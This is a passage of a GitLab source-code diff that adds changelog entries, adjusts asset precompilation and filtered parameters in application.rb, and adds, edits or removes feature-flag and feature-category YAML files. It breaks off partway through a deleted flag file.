diff --git a/changelogs/unreleased/sh-fix-release-markdown.yml b/changelogs/unreleased/sh-fix-release-markdown.yml
new file mode 100644
index 00000000000..e92a83f8ab9
--- /dev/null
+++ b/changelogs/unreleased/sh-fix-release-markdown.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Markdown attachments in Releases not rendering with full URL
+merge_request: 50146
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-handle-zero-maximum-upload-size.yml b/changelogs/unreleased/sh-handle-zero-maximum-upload-size.yml
new file mode 100644
index 00000000000..7781f994641
--- /dev/null
+++ b/changelogs/unreleased/sh-handle-zero-maximum-upload-size.yml
@@ -0,0 +1,5 @@
+---
+title: Fix division by error when upload max size is set to 0
+merge_request: 49482
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-lfs-chunked-encoding-default.yml b/changelogs/unreleased/sh-lfs-chunked-encoding-default.yml
new file mode 100644
index 00000000000..691eec4274c
--- /dev/null
+++ b/changelogs/unreleased/sh-lfs-chunked-encoding-default.yml
@@ -0,0 +1,5 @@
+---
+title: Enable LFS chunked encoding by default
+merge_request: 49649
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-lfs-chunked-encoding.yml b/changelogs/unreleased/sh-lfs-chunked-encoding.yml
new file mode 100644
index 00000000000..73cf4a3c9c0
--- /dev/null
+++ b/changelogs/unreleased/sh-lfs-chunked-encoding.yml
@@ -0,0 +1,5 @@
+---
+title: Enable LFS chunked encoding
+merge_request: 48269
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-support-sse-encryption-ci-live-trace.yml b/changelogs/unreleased/sh-support-sse-encryption-ci-live-trace.yml
new file mode 100644
index 00000000000..dd04f8a198e
--- /dev/null
+++ b/changelogs/unreleased/sh-support-sse-encryption-ci-live-trace.yml
@@ -0,0 +1,5 @@
+---
+title: Support S3 server side encryption in CI cloud native job logs
+merge_request: 47536
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-update-fog-3-7-0.yml b/changelogs/unreleased/sh-update-fog-3-7-0.yml
new file mode 100644
index 00000000000..10bdd3bf986
--- /dev/null
+++ b/changelogs/unreleased/sh-update-fog-3-7-0.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade fog-aws to v3.7.0
+merge_request: 48921
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-update-fog-aws.yml b/changelogs/unreleased/sh-update-fog-aws.yml
new file mode 100644
index 00000000000..3a690c21b3b
--- /dev/null
+++ b/changelogs/unreleased/sh-update-fog-aws.yml
@@ -0,0 +1,5 @@
+---
+title: Update fog-aws to v3.6.7
+merge_request: 48519
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-update-fog-google.yml b/changelogs/unreleased/sh-update-fog-google.yml
new file mode 100644
index 00000000000..e18d512d964
--- /dev/null
+++ b/changelogs/unreleased/sh-update-fog-google.yml
@@ -0,0 +1,5 @@
+---
+title: Update fog-google to v1.12
+merge_request: 49196
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-update-repo-size-after-import.yml b/changelogs/unreleased/sh-update-repo-size-after-import.yml
new file mode 100644
index 00000000000..8ae92fa9711
--- /dev/null
+++ b/changelogs/unreleased/sh-update-repo-size-after-import.yml
@@ -0,0 +1,5 @@
+---
+title: Update repository size after import
+merge_request: 49319
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-update-workhorse-8-58-0.yml b/changelogs/unreleased/sh-update-workhorse-8-58-0.yml
new file mode 100644
index 00000000000..e9b5e240616
--- /dev/null
+++ b/changelogs/unreleased/sh-update-workhorse-8-58-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Workhorse to v8.58.0
+merge_request: 49534
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-upgrade-mailroom-0-0-8.yml b/changelogs/unreleased/sh-upgrade-mailroom-0-0-8.yml
new file mode 100644
index 00000000000..7fc59cce7a1
--- /dev/null
+++ b/changelogs/unreleased/sh-upgrade-mailroom-0-0-8.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade mailroom to v0.0.8
+merge_request: 49834
+author:
+type: fixed
diff --git a/changelogs/unreleased/speed-up-label-query-for-optimized-issuable-finders.yml b/changelogs/unreleased/speed-up-label-query-for-optimized-issuable-finders.yml
new file mode 100644
index 00000000000..b9a022cba63
--- /dev/null
+++ b/changelogs/unreleased/speed-up-label-query-for-optimized-issuable-finders.yml
@@ -0,0 +1,5 @@
+---
+title: Replace wrong index definition on labels (project_id, title)
+merge_request: 48238
+author:
+type: other
diff --git a/changelogs/unreleased/ss-add-error-state-for-assignees.yml b/changelogs/unreleased/ss-add-error-state-for-assignees.yml
new file mode 100644
index 00000000000..794cc74eae7
--- /dev/null
+++ b/changelogs/unreleased/ss-add-error-state-for-assignees.yml
@@ -0,0 +1,5 @@
+---
+title: Add flash message for setAssignees on group issue boards
+merge_request: 48277
+author:
+type: added
diff --git a/changelogs/unreleased/ss-add-loading-state-to-assignee-header.yml b/changelogs/unreleased/ss-add-loading-state-to-assignee-header.yml
new file mode 100644
index 00000000000..d2b37d9fb5e
--- /dev/null
+++ b/changelogs/unreleased/ss-add-loading-state-to-assignee-header.yml
@@ -0,0 +1,5 @@
+---
+title: Add loading state to assignees header
+merge_request: 48392
+author:
+type: added
diff --git a/changelogs/unreleased/ss-add-loading-to-assignees.yml b/changelogs/unreleased/ss-add-loading-to-assignees.yml
new file mode 100644
index 00000000000..0834b0b83b9
--- /dev/null
+++ b/changelogs/unreleased/ss-add-loading-to-assignees.yml
@@ -0,0 +1,5 @@
+---
+title: Add loading state to boards assignees header dropdown
+merge_request: 47848
+author:
+type: added
diff --git a/changelogs/unreleased/ss-assign-self.yml b/changelogs/unreleased/ss-assign-self.yml
new file mode 100644
index 00000000000..6c1471dc90e
--- /dev/null
+++ b/changelogs/unreleased/ss-assign-self.yml
@@ -0,0 +1,5 @@
+---
+title: Add assign self to group boards sidebar
+merge_request: 47705
+author:
+type: added
diff --git a/changelogs/unreleased/ss-related-issues-autocomplete.yml b/changelogs/unreleased/ss-related-issues-autocomplete.yml
new file mode 100644
index 00000000000..a04d32de43e
--- /dev/null
+++ b/changelogs/unreleased/ss-related-issues-autocomplete.yml
@@ -0,0 +1,5 @@
+---
+title: 'Add ability to type a number in related issues and prepend #'
+merge_request: 48952
+author:
+type: changed
diff --git a/changelogs/unreleased/standardize-page-title-bottom-margin-styling.yml b/changelogs/unreleased/standardize-page-title-bottom-margin-styling.yml
new file mode 100644
index 00000000000..2da49450762
--- /dev/null
+++ b/changelogs/unreleased/standardize-page-title-bottom-margin-styling.yml
@@ -0,0 +1,5 @@
+---
+title: 'Remove last-child bottom-margin: 0 from page-title class'
+merge_request: 49884
+author:
+type: fixed
diff --git a/changelogs/unreleased/switch_diff_check_with_paths_changed_rpc_flag_on.yml b/changelogs/unreleased/switch_diff_check_with_paths_changed_rpc_flag_on.yml
new file mode 100644
index 00000000000..dc66853a2b5
--- /dev/null
+++ b/changelogs/unreleased/switch_diff_check_with_paths_changed_rpc_flag_on.yml
@@ -0,0 +1,5 @@
+---
+title: Improve the performance of the diff change access check
+merge_request: 49803
+author:
+type: performance
diff --git a/changelogs/unreleased/sy-add-alert-mau-aggrgation.yml b/changelogs/unreleased/sy-add-alert-mau-aggrgation.yml
new file mode 100644
index 00000000000..6ee43e7df24
--- /dev/null
+++ b/changelogs/unreleased/sy-add-alert-mau-aggrgation.yml
@@ -0,0 +1,5 @@
+---
+title: Add metrics for count of unique users of alerts and incidents to usage ping
+merge_request: 48087
+author:
+type: changed
diff --git a/changelogs/unreleased/sy-allow-to-unlabel-incidents.yml b/changelogs/unreleased/sy-allow-to-unlabel-incidents.yml
new file mode 100644
index 00000000000..68eeffccf63
--- /dev/null
+++ b/changelogs/unreleased/sy-allow-to-unlabel-incidents.yml
@@ -0,0 +1,5 @@
+---
+title: Do not automatically reapply incident label after user removes it
+merge_request: 49188
+author:
+type: fixed
diff --git a/changelogs/unreleased/sy-ensure-alerts-viewable-if-present.yml b/changelogs/unreleased/sy-ensure-alerts-viewable-if-present.yml
new file mode 100644
index 00000000000..81f49fbf841
--- /dev/null
+++ b/changelogs/unreleased/sy-ensure-alerts-viewable-if-present.yml
@@ -0,0 +1,6 @@
+---
+title: Allow alert list to be visible when alerts exist, even if alerting integrations
+ are disabled
+merge_request: 49257
+author:
+type: changed
diff --git a/changelogs/unreleased/sy-process-prometheus-alerts-through-http-integrations.yml b/changelogs/unreleased/sy-process-prometheus-alerts-through-http-integrations.yml
new file mode 100644
index 00000000000..c406398cd0d
--- /dev/null
+++ b/changelogs/unreleased/sy-process-prometheus-alerts-through-http-integrations.yml
@@ -0,0 +1,5 @@
+---
+title: Handle prometheus-formatted alert notifications through HTTP integrations
+merge_request: 49268
+author:
+type: fixed
diff --git a/changelogs/unreleased/tle-fix-button-spacing-on-pipeline-page.yml b/changelogs/unreleased/tle-fix-button-spacing-on-pipeline-page.yml
new file mode 100644
index 00000000000..85b7f8e6701
--- /dev/null
+++ b/changelogs/unreleased/tle-fix-button-spacing-on-pipeline-page.yml
@@ -0,0 +1,5 @@
+---
+title: Fix spacing between buttons on pipeline header
+merge_request: 48660
+author:
+type: fixed
diff --git a/changelogs/unreleased/tr-update-issue-to-incident.yml b/changelogs/unreleased/tr-update-issue-to-incident.yml
new file mode 100644
index 00000000000..09fa0a6cbeb
--- /dev/null
+++ b/changelogs/unreleased/tr-update-issue-to-incident.yml
@@ -0,0 +1,5 @@
+---
+title: Use incident instead of issue for operation settings
+merge_request: 48406
+author:
+type: fixed
diff --git a/changelogs/unreleased/truncate_security_findings_table.yml b/changelogs/unreleased/truncate_security_findings_table.yml
new file mode 100644
index 00000000000..4e8bb60b296
--- /dev/null
+++ b/changelogs/unreleased/truncate_security_findings_table.yml
@@ -0,0 +1,5 @@
+---
+title: Truncate the `security_findings` table
+merge_request: 49385
+author:
+type: added
diff --git a/changelogs/unreleased/tz-reduce-last-commit-cls.yml b/changelogs/unreleased/tz-reduce-last-commit-cls.yml
new file mode 100644
index 00000000000..4b6c75fbfbd
--- /dev/null
+++ b/changelogs/unreleased/tz-reduce-last-commit-cls.yml
@@ -0,0 +1,5 @@
+---
+title: Rendering Loading State of Last Commit earlier
+merge_request: 49362
+author:
+type: performance
diff --git a/changelogs/unreleased/update-copy-on-user-lists-empty-state.yml b/changelogs/unreleased/update-copy-on-user-lists-empty-state.yml
new file mode 100644
index 00000000000..8da13a12b13
--- /dev/null
+++ b/changelogs/unreleased/update-copy-on-user-lists-empty-state.yml
@@ -0,0 +1,5 @@
+---
+title: Updates the copy on empty users list tabs
+merge_request: 49642
+author:
+type: changed
diff --git a/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-23-0.yml b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-23-0.yml
new file mode 100644
index 00000000000..c2890e96944
--- /dev/null
+++ b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-23-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Runner Helm Chart to 0.23.0
+merge_request: 48284
+author:
+type: other
diff --git a/changelogs/unreleased/update-internal-ids-last-value-for-epics.yml b/changelogs/unreleased/update-internal-ids-last-value-for-epics.yml
new file mode 100644
index 00000000000..3b2de770efb
--- /dev/null
+++ b/changelogs/unreleased/update-internal-ids-last-value-for-epics.yml
@@ -0,0 +1,5 @@
+---
+title: Fix last_value record in internal_ids for epics
+merge_request: 48988
+author:
+type: fixed
diff --git a/changelogs/unreleased/update-terraform-versioning-default.yml b/changelogs/unreleased/update-terraform-versioning-default.yml
new file mode 100644
index 00000000000..c68aa029735
--- /dev/null
+++ b/changelogs/unreleased/update-terraform-versioning-default.yml
@@ -0,0 +1,5 @@
+---
+title: Move Terraform state versioning default to database
+merge_request: 48194
+author:
+type: other
diff --git a/changelogs/unreleased/update_gitaly_gem_13_6_1.yml b/changelogs/unreleased/update_gitaly_gem_13_6_1.yml
new file mode 100644
index 00000000000..929afb22950
--- /dev/null
+++ b/changelogs/unreleased/update_gitaly_gem_13_6_1.yml
@@ -0,0 +1,5 @@
+---
+title: Update gitaly gem to 13.6.1
+merge_request: 48601
+author:
+type: other
diff --git a/changelogs/unreleased/use-json-pretty_generate_in_usage_data_rake_tasks.yml b/changelogs/unreleased/use-json-pretty_generate_in_usage_data_rake_tasks.yml
new file mode 100644
index 00000000000..05d6973aac6
--- /dev/null
+++ b/changelogs/unreleased/use-json-pretty_generate_in_usage_data_rake_tasks.yml
@@ -0,0 +1,5 @@
+---
+title: Add usage data rake tasks to prettify JSON output
+merge_request: 49137
+author:
+type: added
diff --git a/changelogs/unreleased/winniehell-master-patch-82844.yml b/changelogs/unreleased/winniehell-master-patch-82844.yml
new file mode 100644
index 00000000000..5d2f360c1d8
--- /dev/null
+++ b/changelogs/unreleased/winniehell-master-patch-82844.yml
@@ -0,0 +1,5 @@
+---
+title: Add menu-item class to non-details-job-component
+merge_request: 48834
+author:
+type: fixed
diff --git a/changelogs/unreleased/xanf-import-one-group-frontend.yml b/changelogs/unreleased/xanf-import-one-group-frontend.yml
new file mode 100644
index 00000000000..0e7c56dc375
--- /dev/null
+++ b/changelogs/unreleased/xanf-import-one-group-frontend.yml
@@ -0,0 +1,5 @@
+---
+title: Introduce frontend for group migration MVC
+merge_request: 49709
+author:
+type: added
diff --git a/config/application.rb b/config/application.rb
index 3981ba348ae..178a5c1d3dd 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -138,6 +138,7 @@ module Gitlab
import_url
elasticsearch_url
search
+ jwt
otp_attempt
sentry_dsn
trace
@@ -187,6 +188,7 @@ module Gitlab
config.assets.precompile << "page_bundles/error_tracking_index.css"
config.assets.precompile << "page_bundles/signup.css"
config.assets.precompile << "page_bundles/ide.css"
+ config.assets.precompile << "page_bundles/import.css"
config.assets.precompile << "page_bundles/issues_list.css"
config.assets.precompile << "page_bundles/jira_connect.css"
config.assets.precompile << "page_bundles/jira_connect_users.css"
@@ -197,6 +199,8 @@ module Gitlab
config.assets.precompile << "page_bundles/pipelines.css"
config.assets.precompile << "page_bundles/pipeline_schedules.css"
config.assets.precompile << "page_bundles/productivity_analytics.css"
+ config.assets.precompile << "page_bundles/profile_two_factor_auth.css"
+ config.assets.precompile << "page_bundles/security_dashboard.css"
config.assets.precompile << "page_bundles/terminal.css"
config.assets.precompile << "page_bundles/todos.css"
config.assets.precompile << "page_bundles/reports.css"
@@ -204,6 +208,7 @@ module Gitlab
config.assets.precompile << "page_bundles/wiki.css"
config.assets.precompile << "page_bundles/xterm.css"
config.assets.precompile << "page_bundles/alert_management_settings.css"
+ config.assets.precompile << "page_bundles/oncall_schedules.css"
config.assets.precompile << "lazy_bundles/cropper.css"
config.assets.precompile << "lazy_bundles/select2.css"
config.assets.precompile << "performance_bar.css"
@@ -224,11 +229,6 @@ module Gitlab
config.assets.precompile << "icons.json"
config.assets.precompile << "illustrations/*.svg"
- # Import Fontawesome fonts
- config.assets.paths << "#{config.root}/node_modules/font-awesome/fonts"
- config.assets.precompile << "fontawesome-webfont.woff2"
- config.assets.precompile << "fontawesome-webfont.woff"
-
# Import css for xterm
config.assets.paths << "#{config.root}/node_modules/xterm/src/"
config.assets.precompile << "xterm.css"
diff --git a/config/feature_categories.yml b/config/feature_categories.yml
index 205d3ee5851..2b6f8fc51db 100644
--- a/config/feature_categories.yml
+++ b/config/feature_categories.yml
@@ -9,7 +9,6 @@
---
- accessibility_testing
- advanced_deployments
-- alert_management
- analysis
- api
- attack_emulation
@@ -21,7 +20,7 @@
- boards
- chatops
- cloud_native_installation
-- cluster_cost_optimization
+- cluster_cost_management
- code_analytics
- code_quality
- code_review
@@ -39,15 +38,14 @@
- dependency_proxy
- dependency_scanning
- design_management
-- design_system
- devops_reports
- disaster_recovery
- dynamic_application_security_testing
- editor_extension
- epics
-- epic_tracking
- error_tracking
- feature_flags
+- five_minute_production_app
- foundations
- fuzz_testing
- gdk
@@ -55,35 +53,35 @@
- git_lfs
- gitaly
- gitlab_docs
-- gitlab_handbook
- global_search
- helm_chart_registry
- importers
- incident_management
+- infrastructure
- infrastructure_as_code
+- insider_threat
- insights
-- instance_statistics
- integrations
- interactive_application_security_testing
- internationalization
- issue_tracking
- jenkins_importer
- jira_importer
-- jupyter_notebooks
- kubernetes_management
- license_compliance
- live_preview
- load_testing
- logging
-- malware_scanning
+- memory
- merge_trains
- metrics
+- mlops
+- mobile_signing_deployment
- navigation
- omnibus_package
- package_registry
- pages
- pipeline_authoring
-- pki_management
- planning_analytics
- product_analytics
- projects
@@ -115,7 +113,7 @@
- tracing
- usability_testing
- users
-- value_stream_analytics
+- value_stream_management
- vulnerability_database
- vulnerability_management
- web_firewall
diff --git a/config/feature_flags/development/add_issues_button.yml b/config/feature_flags/development/add_issues_button.yml
new file mode 100644
index 00000000000..cc4727a29c4
--- /dev/null
+++ b/config/feature_flags/development/add_issues_button.yml
@@ -0,0 +1,8 @@
+---
+name: add_issues_button
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898
+rollout_issue_url:
+milestone: '13.6'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/allow_editing_commit_messages.yml b/config/feature_flags/development/allow_editing_commit_messages.yml
new file mode 100644
index 00000000000..74f67647cb5
--- /dev/null
+++ b/config/feature_flags/development/allow_editing_commit_messages.yml
@@ -0,0 +1,8 @@
+---
+name: allow_editing_commit_messages
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49152/
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/290779
+milestone: '13.7'
+type: development
+group:
+default_enabled: false
diff --git a/config/feature_flags/development/allow_possible_spam.yml b/config/feature_flags/development/allow_possible_spam.yml
index 696ab3ba214..3f7a084130a 100644
--- a/config/feature_flags/development/allow_possible_spam.yml
+++ b/config/feature_flags/development/allow_possible_spam.yml
@@ -1,8 +1,8 @@
---
name: allow_possible_spam
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17604
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/29830
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/33421
milestone: '12.4'
type: development
-group: group::portfolio management
+group: group::product planning
default_enabled: false
diff --git a/config/feature_flags/development/boards_with_swimlanes.yml b/config/feature_flags/development/boards_with_swimlanes.yml
deleted file mode 100644
index 7080bceb777..00000000000
--- a/config/feature_flags/development/boards_with_swimlanes.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: boards_with_swimlanes
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/issues/218040
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238222
-milestone: 13.6
-group: group::product planning
-type: development
-default_enabled: true
diff --git a/config/feature_flags/development/branch_list_keyset_pagination.yml b/config/feature_flags/development/branch_list_keyset_pagination.yml
index 5397282aecc..23b573e5004 100644
--- a/config/feature_flags/development/branch_list_keyset_pagination.yml
+++ b/config/feature_flags/development/branch_list_keyset_pagination.yml
@@ -1,8 +1,8 @@
---
name: branch_list_keyset_pagination
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35819
-rollout_issue_url:
+rollout_issue_url:
milestone: '13.2'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/bulk_update_health_status.yml b/config/feature_flags/development/bulk_update_health_status.yml
deleted file mode 100644
index 29841ba584c..00000000000
--- a/config/feature_flags/development/bulk_update_health_status.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: bulk_update_health_status
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33065
-rollout_issue_url:
-milestone: '13.2'
-type: development
-group: group::portfolio management
-default_enabled: true
diff --git a/config/feature_flags/development/burnup_charts.yml b/config/feature_flags/development/burnup_charts.yml
deleted file mode 100644
index 3fcc0b33b3f..00000000000
--- a/config/feature_flags/development/burnup_charts.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: burnup_charts
-introduced_by_url:
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/268350
-milestone: '13.6'
-type: development
-group: group::project management
-default_enabled: true
diff --git a/config/feature_flags/development/caching_experiments.yml b/config/feature_flags/development/caching_experiments.yml
new file mode 100644
index 00000000000..3d540aca476
--- /dev/null
+++ b/config/feature_flags/development/caching_experiments.yml
@@ -0,0 +1,8 @@
+---
+name: caching_experiments
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49669
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::adoption
+default_enabled: false
diff --git a/config/feature_flags/development/cd_auto_rollback.yml b/config/feature_flags/development/cd_auto_rollback.yml
deleted file mode 100644
index 0878fac7d26..00000000000
--- a/config/feature_flags/development/cd_auto_rollback.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cd_auto_rollback
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45816
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/35404
-milestone: '13.6'
-type: development
-group: group::progressive delivery
-default_enabled: false
diff --git a/config/feature_flags/development/cd_skipped_deployment_status.yml b/config/feature_flags/development/cd_skipped_deployment_status.yml
new file mode 100644
index 00000000000..45d9538ebfc
--- /dev/null
+++ b/config/feature_flags/development/cd_skipped_deployment_status.yml
@@ -0,0 +1,7 @@
+name: cd_skipped_deployment_status
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46614
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/283884
+milestone: '13.6'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/ci_allow_failure_with_exit_codes.yml b/config/feature_flags/development/ci_allow_failure_with_exit_codes.yml
new file mode 100644
index 00000000000..c2701705616
--- /dev/null
+++ b/config/feature_flags/development/ci_allow_failure_with_exit_codes.yml
@@ -0,0 +1,8 @@
+---
+name: ci_allow_failure_with_exit_codes
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49145
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292024
+milestone: '13.7'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_auto_cancel_all_pipelines.yml b/config/feature_flags/development/ci_auto_cancel_all_pipelines.yml
index e20baf93500..7dfc6146b08 100644
--- a/config/feature_flags/development/ci_auto_cancel_all_pipelines.yml
+++ b/config/feature_flags/development/ci_auto_cancel_all_pipelines.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/275997
milestone: '13.6'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_bridge_dependency_variables.yml b/config/feature_flags/development/ci_bridge_dependency_variables.yml
index db23a30d2cb..54670f93601 100644
--- a/config/feature_flags/development/ci_bridge_dependency_variables.yml
+++ b/config/feature_flags/development/ci_bridge_dependency_variables.yml
@@ -4,4 +4,4 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46530
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/273734
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_config_visualization_tab.yml b/config/feature_flags/development/ci_config_visualization_tab.yml
new file mode 100644
index 00000000000..70e395d83e9
--- /dev/null
+++ b/config/feature_flags/development/ci_config_visualization_tab.yml
@@ -0,0 +1,8 @@
+---
+name: ci_config_visualization_tab
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48793
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/290117
+milestone: '13.7'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml b/config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml
new file mode 100644
index 00000000000..f50d71fc71f
--- /dev/null
+++ b/config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml
@@ -0,0 +1,8 @@
+---
+name: ci_cross_pipeline_artifacts_download
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48342
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/287622
+milestone: '13.7'
+type: development
+group: group::continuous integration
+default_enabled: true
diff --git a/config/feature_flags/development/ci_job_line_links.yml b/config/feature_flags/development/ci_job_line_links.yml
deleted file mode 100644
index 458c0afb6d2..00000000000
--- a/config/feature_flags/development/ci_job_line_links.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_job_line_links
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47532
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/281727
-milestone: '13.6'
-type: development
-group: group::continuous integration
-default_enabled: false
diff --git a/config/feature_flags/development/ci_live_trace_use_fog_attributes.yml b/config/feature_flags/development/ci_live_trace_use_fog_attributes.yml
new file mode 100644
index 00000000000..20a38d77407
--- /dev/null
+++ b/config/feature_flags/development/ci_live_trace_use_fog_attributes.yml
@@ -0,0 +1,8 @@
+---
+name: ci_live_trace_use_fog_attributes
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47536
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285079
+milestone: '13.6'
+type: development
+group: group::testing
+default_enabled: true
diff --git a/config/feature_flags/development/ci_manual_bridges.yml b/config/feature_flags/development/ci_manual_bridges.yml
deleted file mode 100644
index 6bda63e71ae..00000000000
--- a/config/feature_flags/development/ci_manual_bridges.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_manual_bridges
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44011
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/263412
-milestone: '13.5'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/ci_pipeline_open_merge_requests.yml b/config/feature_flags/development/ci_pipeline_open_merge_requests.yml
new file mode 100644
index 00000000000..e3be9e7323d
--- /dev/null
+++ b/config/feature_flags/development/ci_pipeline_open_merge_requests.yml
@@ -0,0 +1,7 @@
+---
+name: ci_pipeline_open_merge_requests
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38673
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292727
+group: group::memory
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pipelines_for_merge_request_finder_new_cte.yml b/config/feature_flags/development/ci_pipelines_for_merge_request_finder_new_cte.yml
new file mode 100644
index 00000000000..84d45d51c78
--- /dev/null
+++ b/config/feature_flags/development/ci_pipelines_for_merge_request_finder_new_cte.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pipelines_for_merge_request_finder_new_cte
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49083
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/291006
+milestone: '13.7'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/ci_rules_variables.yml b/config/feature_flags/development/ci_rules_variables.yml
new file mode 100644
index 00000000000..fdd9de19472
--- /dev/null
+++ b/config/feature_flags/development/ci_rules_variables.yml
@@ -0,0 +1,8 @@
+---
+name: ci_rules_variables
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48752
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/289803
+milestone: '13.7'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_variable_expansion_in_rules_changes.yml b/config/feature_flags/development/ci_variable_expansion_in_rules_changes.yml
deleted file mode 100644
index a3a66295896..00000000000
--- a/config/feature_flags/development/ci_variable_expansion_in_rules_changes.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: ci_variable_expansion_in_rules_changes
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45037
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267192
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/core_security_mr_widget_counts.yml b/config/feature_flags/development/core_security_mr_widget_counts.yml
new file mode 100644
index 00000000000..23a671d427c
--- /dev/null
+++ b/config/feature_flags/development/core_security_mr_widget_counts.yml
@@ -0,0 +1,8 @@
+---
+name: core_security_mr_widget_counts
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47656
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284097
+milestone: '13.7'
+type: development
+group: group::static analysis
+default_enabled: false
diff --git a/config/feature_flags/development/core_security_mr_widget_downloads.yml b/config/feature_flags/development/core_security_mr_widget_downloads.yml
new file mode 100644
index 00000000000..d89fbc302b3
--- /dev/null
+++ b/config/feature_flags/development/core_security_mr_widget_downloads.yml
@@ -0,0 +1,8 @@
+---
+name: core_security_mr_widget_downloads
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48769
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/273418
+milestone: '13.7'
+type: development
+group: group::static analysis
+default_enabled: true
diff --git a/config/feature_flags/development/count_uploads_size_in_storage_stats.yml b/config/feature_flags/development/count_uploads_size_in_storage_stats.yml
deleted file mode 100644
index 524e4f4abd8..00000000000
--- a/config/feature_flags/development/count_uploads_size_in_storage_stats.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: count_uploads_size_in_storage_stats
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46941
